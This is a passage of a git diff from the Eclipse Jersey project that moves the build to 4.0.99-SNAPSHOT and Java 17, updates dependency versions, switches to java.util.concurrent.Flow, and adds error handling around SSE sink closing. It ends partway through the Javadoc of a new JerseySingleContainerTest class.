+import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.HttpUrlConnectorProvider;
 import org.glassfish.jersey.client.spi.ConnectorProvider;
@@ -64,8 +64,8 @@
         return Arrays.asList(new Object[][] {
                 {new HttpUrlConnectorProvider(), false},
                 {new GrizzlyConnectorProvider(), true},
-//                {new JettyConnectorProvider(), true},
-                {new ApacheConnectorProvider(), true},
+                {new JettyConnectorProvider(), false},
+                {new Apache5ConnectorProvider(), true},
         });
     }
 
diff --git a/media/pom.xml b/media/pom.xml
index c1a369a..484e7fd 100644
--- a/media/pom.xml
+++ b/media/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.media</groupId>
diff --git a/media/sse/pom.xml b/media/sse/pom.xml
index cb59d35..b9138cc 100644
--- a/media/sse/pom.xml
+++ b/media/sse/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.media</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-media-sse</artifactId>
@@ -76,7 +76,11 @@
                 <inherited>true</inherited>
                 <configuration>
                     <instructions>
-                        <Import-Package>${jakarta.annotation.osgi.version},*</Import-Package>
+                        <Import-Package>
+                            ${jakarta.annotation.osgi.version},
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
                     </instructions>
                 </configuration>
             </plugin>
diff --git a/media/sse/src/main/java/org/glassfish/jersey/media/sse/JerseySseEventSourceBuilder.java b/media/sse/src/main/java/org/glassfish/jersey/media/sse/JerseySseEventSourceBuilder.java
index 9597d3b..79d9158 100644
--- a/media/sse/src/main/java/org/glassfish/jersey/media/sse/JerseySseEventSourceBuilder.java
+++ b/media/sse/src/main/java/org/glassfish/jersey/media/sse/JerseySseEventSourceBuilder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,7 +18,7 @@
 import org.glassfish.jersey.media.sse.internal.JerseySseEventSource;
 
 /**
- * Public {@link SseEventSource.Builder} implementation.
+ * Public {@link jakarta.ws.rs.sse.SseEventSource.Builder} implementation.
  */
 public final class JerseySseEventSourceBuilder extends JerseySseEventSource.Builder {
 }
diff --git a/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/JerseyEventSink.java b/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/JerseyEventSink.java
index b1b1dc0..5d4e360 100644
--- a/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/JerseyEventSink.java
+++ b/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/JerseyEventSink.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,6 +21,7 @@
 import java.nio.charset.StandardCharsets;
 import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.CompletionStage;
+import java.util.concurrent.Flow;
 import java.util.concurrent.atomic.AtomicBoolean;
 import java.util.logging.Level;
 import java.util.logging.Logger;
@@ -30,8 +31,6 @@
 import jakarta.ws.rs.core.MediaType;
 import jakarta.inject.Provider;
 
-import org.glassfish.jersey.internal.jsr166.Flow;
-import org.glassfish.jersey.internal.jsr166.JerseyFlowSubscriber;
 import org.glassfish.jersey.media.sse.LocalizationMessages;
 import org.glassfish.jersey.media.sse.OutboundEvent;
 import org.glassfish.jersey.server.AsyncContext;
@@ -45,7 +44,7 @@
  * @author Adam Lindenthal
  */
 class JerseyEventSink extends ChunkedOutput<OutboundSseEvent>
-        implements SseEventSink, Flushable, JerseyFlowSubscriber<Object> {
+        implements SseEventSink, Flushable, Flow.Subscriber<Object> {
 
     private static final Logger LOGGER = Logger.getLogger(JerseyEventSink.class.getName());
     private static final byte[] SSE_EVENT_DELIMITER = "\n".getBytes(StandardCharsets.UTF_8);
diff --git a/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/JerseySseBroadcaster.java b/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/JerseySseBroadcaster.java
index 07edebb..d840612 100644
--- a/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/JerseySseBroadcaster.java
+++ b/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/JerseySseBroadcaster.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,6 +20,7 @@
 import java.util.concurrent.CompletionStage;
 import java.util.concurrent.CopyOnWriteArrayList;
 import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Flow;
 import java.util.function.BiConsumer;
 import java.util.function.Consumer;
 
@@ -28,7 +29,6 @@
 import jakarta.ws.rs.sse.SseBroadcaster;
 import jakarta.ws.rs.sse.SseEventSink;
 
-import org.glassfish.jersey.internal.jsr166.Flow;
 import org.glassfish.jersey.internal.util.JerseyPublisher;
 import org.glassfish.jersey.media.sse.LocalizationMessages;
 
@@ -142,16 +142,23 @@
         @Override
         public void onError(final Throwable throwable) {
             // TODO JAX-RS 2.1
-            sseEventSink.close();
+            try {
+                sseEventSink.close();
+            } catch (/*IO*/Exception e) {
+                // ignore - already an error
+            }
             notifyOnErrorCallbacks(this, throwable);
         }
 
         @Override
         public void onComplete() {
             // TODO JAX-RS 2.1
-            sseEventSink.close();
-            notifyOnCompleteHandlers(this);
-
+            try {
+                sseEventSink.close();
+                notifyOnCompleteHandlers(this);
+            } catch (/*IO*/Exception e) {
+                notifyOnErrorCallbacks(this, e);
+            }
         }
     }
 }
diff --git a/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/JerseySseEventSource.java b/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/JerseySseEventSource.java
index f675181..501b95f 100644
--- a/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/JerseySseEventSource.java
+++ b/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/JerseySseEventSource.java
@@ -19,6 +19,7 @@
 import java.util.ArrayList;
 import java.util.List;
 import java.util.Objects;
+import java.util.concurrent.Flow;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicReference;
 import java.util.function.Consumer;
@@ -31,7 +32,6 @@
 
 import org.glassfish.jersey.client.ClientExecutor;
 import org.glassfish.jersey.client.JerseyWebTarget;
-import org.glassfish.jersey.internal.jsr166.Flow;
 import org.glassfish.jersey.internal.util.JerseyPublisher;
 import org.glassfish.jersey.media.sse.LocalizationMessages;
 
diff --git a/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/SseBinder.java b/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/SseBinder.java
index debeb21..d9c51de 100644
--- a/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/SseBinder.java
+++ b/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/SseBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,18 +19,19 @@
 import jakarta.ws.rs.sse.Sse;
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 
 /**
  * Binds implementations to interfaces for injection of SSE-related injectables.
  *
  * @author Adam Lindenthal
  */
-public class SseBinder extends AbstractBinder {
+public class SseBinder extends InternalBinder {
     @Override
     protected void configure() {
         bind(JerseySse.class)
                 .to(Sse.class)
-                .in(Singleton.class);
+                .in(Singleton.class)
+                .id(0);
     }
 }
diff --git a/media/sse/src/test/java/org/glassfish/jersey/media/sse/InboundEventReaderTest.java b/media/sse/src/test/java/org/glassfish/jersey/media/sse/InboundEventReaderTest.java
index 307e770..a7c549a 100644
--- a/media/sse/src/test/java/org/glassfish/jersey/media/sse/InboundEventReaderTest.java
+++ b/media/sse/src/test/java/org/glassfish/jersey/media/sse/InboundEventReaderTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -26,8 +26,8 @@
 import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.core.MediaType;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
+import org.glassfish.jersey.innate.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 import org.glassfish.jersey.internal.util.collection.MultivaluedStringMap;
diff --git a/media/sse/src/test/java/org/glassfish/jersey/media/sse/SseEventSourceRegisterErrorHandlerTest.java b/media/sse/src/test/java/org/glassfish/jersey/media/sse/SseEventSourceRegisterErrorHandlerTest.java
index 036a568..52cdcc0 100644
--- a/media/sse/src/test/java/org/glassfish/jersey/media/sse/SseEventSourceRegisterErrorHandlerTest.java
+++ b/media/sse/src/test/java/org/glassfish/jersey/media/sse/SseEventSourceRegisterErrorHandlerTest.java
@@ -36,6 +36,8 @@
 import jakarta.ws.rs.sse.Sse;
 import jakarta.ws.rs.sse.SseEventSink;
 import jakarta.ws.rs.sse.SseEventSource;
+
+import java.io.IOException;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicReference;
@@ -55,7 +57,7 @@
         @Path("close")
         @GET
         @Produces(SseFeature.SERVER_SENT_EVENTS)
-        public void close(@Context SseEventSink output, @Context Sse sse) throws InterruptedException {
+        public void close(@Context SseEventSink output, @Context Sse sse) throws IOException {
             output.close();
         }
 
diff --git a/pom.xml b/pom.xml
index f1ab454..a43743e 100644
--- a/pom.xml
+++ b/pom.xml
@@ -29,7 +29,7 @@
     <groupId>org.glassfish.jersey</groupId>
     <artifactId>project</artifactId>
     <packaging>pom</packaging>
-    <version>3.1.99-SNAPSHOT</version>
+    <version>4.0.99-SNAPSHOT</version>
     <name>jersey</name>
     <description>
         Eclipse Jersey is the open source (under dual EPL+GPL license) Jakarta RESTful WebServices 3.0
@@ -1469,6 +1469,11 @@
                 <artifactId>jakarta.enterprise.cdi-api</artifactId>
                 <version>${cdi.api.version}</version>
             </dependency>
+            <dependency>
+                <groupId>jakarta.interceptor</groupId>
+                <artifactId>jakarta.interceptor-api</artifactId>
+                <version>${jakarta.interceptor.version}</version>
+            </dependency>
 
             <dependency>
                 <groupId>jakarta.transaction</groupId>
@@ -1590,11 +1595,6 @@
             </dependency>
 
             <dependency>
-                <groupId>org.apache.httpcomponents</groupId>
-                <artifactId>httpclient</artifactId>
-                <version>${httpclient.version}</version>
-            </dependency>
-            <dependency>
                 <groupId>org.apache.httpcomponents.client5</groupId>
                 <artifactId>httpclient5</artifactId>
                 <version>${httpclient5.version}</version>
@@ -1647,24 +1647,6 @@
             </dependency>
 
             <dependency>
-                <groupId>org.simpleframework</groupId>
-                <artifactId>simple-http</artifactId>
-                <version>${simple.version}</version>
-            </dependency>
-
-            <dependency>
-                <groupId>org.simpleframework</groupId>
-                <artifactId>simple-transport</artifactId>
-                <version>${simple.version}</version>
-            </dependency>
-
-            <dependency>
-                <groupId>org.simpleframework</groupId>
-                <artifactId>simple-common</artifactId>
-                <version>${simple.version}</version>
-            </dependency>
-
-            <dependency>
                 <groupId>org.codehaus.jettison</groupId>
                 <artifactId>jettison</artifactId>
                 <version>${jettison.version}</version>
@@ -2054,7 +2036,7 @@
         <findbugs.glassfish.logging.validLoggerPrefixes>
             jakarta.enterprise
         </findbugs.glassfish.logging.validLoggerPrefixes>
-        <java.version>11</java.version>
+        <java.version>17</java.version>
 <!--        <jersey.repackaged.prefix>jersey.repackaged</jersey.repackaged.prefix>-->
 <!--        <netbeans.hint.license>gf-cddl-gpl</netbeans.hint.license>-->
         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
@@ -2115,8 +2097,8 @@
 
         <!-- Dependency versions -->
         <jersey.version>${project.version}</jersey.version>
-        <arquillian.version>1.8.0.Final</arquillian.version>
-        <arquillian.weld.version>3.0.1.Final</arquillian.weld.version> <!-- 3.0.2.Final fails microprofile TCK tests -->
+        <arquillian.version>1.9.1.Final</arquillian.version>
+        <arquillian.weld.version>4.0.0.Final</arquillian.weld.version> <!-- 3.0.2.Final fails microprofile TCK tests -->
         <!-- asm is now source integrated - keeping this property to see the version -->
         <!-- see core-server/src/main/java/jersey/repackaged/asm/.. -->
         <asm.version>9.7.1</asm.version>
@@ -2145,16 +2127,15 @@
         <!-- end of versions extracted here due to maven-enforcer-plugin -->
 
         <!-- micrometer -->
-        <micrometer.version>1.12.4</micrometer.version>
-        <micrometer-tracing.version>1.0.12</micrometer-tracing.version>
+        <micrometer.version>1.13.3</micrometer.version>
+        <micrometer-tracing.version>1.3.3</micrometer-tracing.version>
 
         <!-- microprofile -->
         <microprofile.config.version>3.0.3</microprofile.config.version>
         <microprofile.rest.client.version>3.0.1</microprofile.rest.client.version>
-        <helidon.config.version>3.2.6</helidon.config.version>
-        <helidon.connector.version>3.2.8</helidon.connector.version>
-        <helidon.config.11.version>1.4.14</helidon.config.11.version> <!-- JDK 11- support -->
-        <smallrye.config.version>3.7.1</smallrye.config.version>
+        <helidon.config.version>3.2.8</helidon.config.version>
+        <helidon.jersey.connector.version>3.2.8</helidon.jersey.connector.version>
+        <smallrye.config.version>3.9.1</smallrye.config.version>
 
         <guava.version>33.3.0-jre</guava.version>
         <hamcrest.version>3.0</hamcrest.version>
@@ -2180,25 +2161,26 @@
         <osgi.version>6.0.0</osgi.version>
         <osgi.framework.version>1.10.0</osgi.framework.version>
         <osgi.compendium.version>5.0.0</osgi.compendium.version>
-        <osgi.service.cm.version>1.6.0</osgi.service.cm.version>
-        <pax.exam.version>4.13.4</pax.exam.version>
+        <osgi.service.cm.version>1.6.1</osgi.service.cm.version>
+        <pax.exam.version>4.13.5</pax.exam.version>
+        <pax.exam.legacy.version>4.13.4</pax.exam.legacy.version>
         <pax.web.version>0.7.4</pax.web.version><!-- TODO: UPGRADE! -->
+        <pax.url.aether.version>2.6.14</pax.url.aether.version>
+        <pax.logging.api.version>2.2.6</pax.logging.api.version>
         <reactive.streams.version>1.0.4</reactive.streams.version>
         <rxjava.version>1.3.8</rxjava.version>
         <rxjava2.version>2.2.21</rxjava2.version>
 
-        <servlet4.version>4.0.3</servlet4.version>
-        <servlet6.version>6.0.0</servlet6.version>
+        <servlet4.version>4.0.4</servlet4.version>
+        <servlet6.version>6.1.0</servlet6.version>
 
-        <simple.version>6.0.1</simple.version>
-        <slf4j.version>2.0.16</slf4j.version>
-        <spring6.version>6.0.18</spring6.version>
+        <slf4j.version>2.0.13</slf4j.version>
+        <spring6.version>6.0.23</spring6.version>
         <testng.version>7.10.2</testng.version>
         <testng6.version>6.14.3</testng6.version>
         <thymeleaf.version>3.1.2.RELEASE</thymeleaf.version>
         <!-- Jakartified, eligible for CQ -->
-        <weld.version>5.1.1.Final</weld.version>
-        <weld3.version>3.1.9.Final</weld3.version>
+        <weld.version>6.0.0.Beta4</weld.version>
         <validation.impl.version>8.0.1.Final</validation.impl.version>
         <!-- END of Jakartified, eligible for CQ -->
         <wiremock.version>2.27.2</wiremock.version>
@@ -2208,37 +2190,41 @@
         <graalvm.version>20.3.15</graalvm.version>
 
         <!-- do not need CQs (below this line till the end of version properties)-->
-        <gf.impl.version>7.0.6</gf.impl.version>
+        <gf.impl.version>8.0.0-JDK17-M6</gf.impl.version>
         <!-- Jakartified -->
-        <cdi.api.version>4.0.1</cdi.api.version>
-        <cdi.osgi.version>jakarta.enterprise.*;version="[3.0,5)"</cdi.osgi.version>
+        <cdi.api.version>4.1.0</cdi.api.version>
+        <cdi.osgi.version>jakarta.enterprise.*;version="[4.0,5)"</cdi.osgi.version>
         <ejb.version>4.0.1</ejb.version>
         <grizzly2.version>4.0.2</grizzly2.version>
         <grizzly.client.version>1.16</grizzly.client.version>
         <grizzly.npn.version>2.0.0</grizzly.npn.version>
-        <hk2.version>3.0.6</hk2.version>
-        <hk2.osgi.version>org.glassfish.hk2.*;version="[3.0,4)"</hk2.osgi.version>
-        <hk2.jvnet.osgi.version>org.jvnet.hk2.*;version="[3.0,4)"</hk2.jvnet.osgi.version>
-        <hk2.config.version>7.0.4</hk2.config.version>
-        <jsp.version>3.1.1</jsp.version>
+        <hk2.version>4.0.0-M3</hk2.version>
+        <hk2.osgi.version>org.glassfish.hk2.*;version="[4.0,5)"</hk2.osgi.version>
+        <hk2.jvnet.osgi.version>org.jvnet.hk2.*;version="[4.0,5)"</hk2.jvnet.osgi.version>
+        <hk2.config.version>8.0.0-JDK17-M6</hk2.config.version>
+        <jsp.version>4.0.0-M2</jsp.version>
         <jstl.version>3.0.2</jstl.version>
         <jta.api.version>2.0.1</jta.api.version>
-        <istack.commons.runtime.version>4.1.2</istack.commons.runtime.version>
+        <istack.commons.runtime.version>4.2.0</istack.commons.runtime.version>
         <jakarta.activation-api.version>2.1.3</jakarta.activation-api.version>
         <jakarta.activation.version>2.0.2</jakarta.activation.version>
-        <jakarta.el.version>5.0.1</jakarta.el.version>
-        <jakarta.el.impl.version>5.0.0</jakarta.el.impl.version>
-        <jakarta.annotation.osgi.version>jakarta.annotation.*;version="[2.0,3)"</jakarta.annotation.osgi.version>
-        <jakarta.annotation.version>2.1.1</jakarta.annotation.version>
+        <!-- org.hibernate.validator has lookup limitation up to the 6 version of EL API-->
+        <jakarta.el.version>5.0.1</jakarta.el.version> <!-- el6 does not work with OSGi with expressly 5 -->
+        <!-- org.hibernate.validator has lookup limitation up to the 6 version of EL IMPL -->
+        <jakarta.el.impl.version>5.0.0</jakarta.el.impl.version> <!-- EE11 expressly 6 does not work with EE10 BV 8.0.1 (OSGi) -->
+        <jakarta.annotation.osgi.version>jakarta.annotation.*;version="[3.0,4)"</jakarta.annotation.osgi.version>
+        <jakarta.annotation.version>3.0.0</jakarta.annotation.version>
+        <jakarta.decorator.osgi.version>jakarta.decorator.*;version="[4.0,5)"</jakarta.decorator.osgi.version> <!-- CDI -->
         <jakarta.inject.version>2.0.1</jakarta.inject.version>
-        <jakarta.interceptor.version>2.1.0</jakarta.interceptor.version>
+        <jakarta.interceptor.version>2.2.0</jakarta.interceptor.version>
         <jakarta.jsonp.version>2.1.3</jakarta.jsonp.version>
-        <jakarta.persistence.version>3.1.0</jakarta.persistence.version>
-        <jakarta.validation.api.version>3.0.2</jakarta.validation.api.version>
+        <jakarta.persistence.version>3.2.0</jakarta.persistence.version>
+        <jakarta.validation.api.version>3.1.0</jakarta.validation.api.version>
         <jakarta.jaxb.api.version>4.0.2</jakarta.jaxb.api.version>
         <jaxb.ri.version>4.0.5</jaxb.ri.version>
-        <jaxrs.api.spec.version>3.1</jaxrs.api.spec.version>
-        <jaxrs.api.impl.version>3.1.0</jaxrs.api.impl.version>
+        <jaxrs.api.spec.version>4.0.0</jaxrs.api.spec.version>
+        <jaxrs.api.impl.version>4.0.0</jaxrs.api.impl.version>
+        <jakarta.rest.osgi.version>jakarta.ws.rs;version="[3.1,5)",jakarta.ws.rs.client;version="[3.1,5)",jakarta.ws.rs.container;version="[3.1,5)",jakarta.ws.rs.core;version="[3.1,5)",jakarta.ws.rs.ext;version="[3.1,5)",jakarta.ws.rs.sse;version="[3.1,5)"</jakarta.rest.osgi.version>
         <jetty.osgi.version>org.eclipse.jetty.*;version="[11,15)"</jetty.osgi.version>
         <jetty.version>12.0.14</jetty.version>
         <jetty9.version>9.4.56.v20240826</jetty9.version>
@@ -2247,11 +2233,12 @@
         <jsonb.api.version>3.0.1</jsonb.api.version>
         <jsonp.ri.version>1.1.7</jsonp.ri.version>
         <jsonp.jaxrs.version>1.1.7</jsonp.jaxrs.version>
-        <moxy.version>4.0.4</moxy.version>
+        <moxy.version>5.0.0-B02</moxy.version>
+        <moxy.asm.version>9.7.1</moxy.asm.version>
         <yasson.version>3.0.4</yasson.version>
         <!-- END of Jakartified -->
 
         <javax.annotation.version>1.3.2</javax.annotation.version> <!--Deprecated, used only for @generated annotation in perf tests -->
         <mimepull.version>1.9.15</mimepull.version>
     </properties>
-</project>
\ No newline at end of file
+</project>
diff --git a/security/oauth1-client/pom.xml b/security/oauth1-client/pom.xml
index 848db15..eeb3dc1 100644
--- a/security/oauth1-client/pom.xml
+++ b/security/oauth1-client/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.security</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>oauth1-client</artifactId>
diff --git a/security/oauth1-server/pom.xml b/security/oauth1-server/pom.xml
index 7c77770..e0ad1f5 100644
--- a/security/oauth1-server/pom.xml
+++ b/security/oauth1-server/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.security</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>oauth1-server</artifactId>
diff --git a/security/oauth1-signature/pom.xml b/security/oauth1-signature/pom.xml
index 8300795..9412396 100644
--- a/security/oauth1-signature/pom.xml
+++ b/security/oauth1-signature/pom.xml
@@ -21,7 +21,7 @@
     <parent>
         <groupId>org.glassfish.jersey.security</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/security/oauth1-signature/src/main/java/org/glassfish/jersey/oauth1/signature/OAuth1SignatureFeature.java b/security/oauth1-signature/src/main/java/org/glassfish/jersey/oauth1/signature/OAuth1SignatureFeature.java
index 3e35a23..88afb35 100644
--- a/security/oauth1-signature/src/main/java/org/glassfish/jersey/oauth1/signature/OAuth1SignatureFeature.java
+++ b/security/oauth1-signature/src/main/java/org/glassfish/jersey/oauth1/signature/OAuth1SignatureFeature.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,7 +21,7 @@
 
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 
 /**
  * Feature enabling OAuth signature support. If the feature is registered the
@@ -47,7 +47,7 @@
      * <p/>
      *
      */
-    static class Binder extends AbstractBinder {
+    static class Binder extends InternalBinder {
 
         @Override
         protected void configure() {
diff --git a/security/oauth2-client/pom.xml b/security/oauth2-client/pom.xml
index c6cfad2..3b0bcc1 100644
--- a/security/oauth2-client/pom.xml
+++ b/security/oauth2-client/pom.xml
@@ -21,7 +21,7 @@
     <parent>
         <groupId>org.glassfish.jersey.security</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/security/pom.xml b/security/pom.xml
index 032101c..e523b2a 100644
--- a/security/pom.xml
+++ b/security/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.security</groupId>
diff --git a/test-framework/core/pom.xml b/test-framework/core/pom.xml
index da43fbb..a17827c 100644
--- a/test-framework/core/pom.xml
+++ b/test-framework/core/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-test-framework-core</artifactId>
diff --git a/test-framework/core/src/main/java/org/glassfish/jersey/test/JerseySingleContainerTest.java b/test-framework/core/src/main/java/org/glassfish/jersey/test/JerseySingleContainerTest.java
new file mode 100644
index 0000000..252bdfd
--- /dev/null
+++ b/test-framework/core/src/main/java/org/glassfish/jersey/test/JerseySingleContainerTest.java
@@ -0,0 +1,1007 @@
+/*
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.test;
+
+import org.glassfish.jersey.Beta;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.internal.ServiceFinder;
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+import org.glassfish.jersey.internal.util.ReflectionHelper;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.test.spi.TestContainer;
+import org.glassfish.jersey.test.spi.TestContainerException;
+import org.glassfish.jersey.test.spi.TestContainerFactory;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.api.BeforeEach;
+
+import javax.net.ssl.SSLContext;
+import javax.net.ssl.SSLParameters;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.UriBuilder;
+import java.net.URI;
+import java.security.AccessController;
+import java.util.ArrayList;
+import java.util.Enumeration;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.IdentityHashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Optional;
+import java.util.Properties;
+import java.util.Set;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.logging.Handler;
+import java.util.logging.Level;
+import java.util.logging.LogManager;
+import java.util.logging.LogRecord;
+import java.util.logging.Logger;
+
+/**
+ * Parent class for testing JAX-RS and Jersey-based applications using Jersey test framework.
+ * <p>
+ * At construction this class will obtain a {@link TestContainerFactory
+ * test container factory} implementation.
+ * </p>
+ * <p>
+ * Before each test method in an extending class is run the test container factory is used to obtain
+ * a configured {@link TestContainer test container}.
+ * Then the {@link TestContainer#start()} method is invoked on the configured test container. After each test method
+ * has run, the {@link TestContainer#stop()} method is invoked on the test container. Stopped test container
+ * generally shouldn't be again started for another test, rather a new test container should be created.
+ * Every test method in the {@code JerseyTest} subclass can invoke the {@link #client()} to obtain a JAX-RS
+ * {@link Client}, from which {@link WebTarget} instances can be created
+ * to send arbitrary requests.
+ * Also, one of the {@code target} methods ({@link #target()} or {@link #target(String)}) may be invoked to obtain
+ * a JAX-RS {@link WebTarget} instances from which requests can be sent to and responses
+ * received from the Web application under test.
+ * </p>
+ * <p>
+ * If a test container factory is not explicitly declared using the appropriate constructor
+ * (see {@link #JerseySingleContainerTest(TestContainerFactory)}) or by overriding the {@link #getTestContainerFactory()} method,
+ * then a default test container factory will be obtained as follows:
+ * <ol>
+ * <li>
+ * If a system property <tt>{@value TestProperties#CONTAINER_FACTORY}</tt> is set
+ * and the value is a fully qualified class name of a class that extends from {@code TestContainerFactory}
+ * then the test container factory used by default will be an instance of that class.
+ * A {@link TestContainerException} will be thrown if the class cannot be loaded or instantiated.
+ * </li>
+ * <li>
+ * Otherwise, {@code META-INF/services} locations on the class path will be scanned for implementation providers
+ * of {@code TestContainerFactory} SPI. If a single implementation is found, it will be used. If multiple implementations
+ * are found, the default <tt>{@value TestProperties#CONTAINER_FACTORY}</tt> implementation
+ * will be selected if present, otherwise the first found implementation will be selected and a warning message will be logged.
+ * </li>
+ * <li>
+ * If no {@code TestContainerFactory} has been selected in the steps above, Jersey test framework will try to
+ * instantiate the default test container factory implementation (
+ * <tt>{@value TestProperties#DEFAULT_CONTAINER_FACTORY}</tt>) directly.
+ * A {@link TestContainerException} will be thrown if this class cannot be loaded or instantiated.
+ * </li>
+ * </ol>
+ * </p>
+ * <p>
+ * The test container is configured by a {@link DeploymentContext} that is either provided
+ * by  subclass or automatically created by {@code JerseyTest} based on the provided JAX-RS / Jersey {@code Application}
+ * class or instance to be tested. A {@link TestContainerException} will be thrown if the configured test container
+ * factory cannot support the deployment context type.
+ * Two deployment context are provided:
+ * <ol>
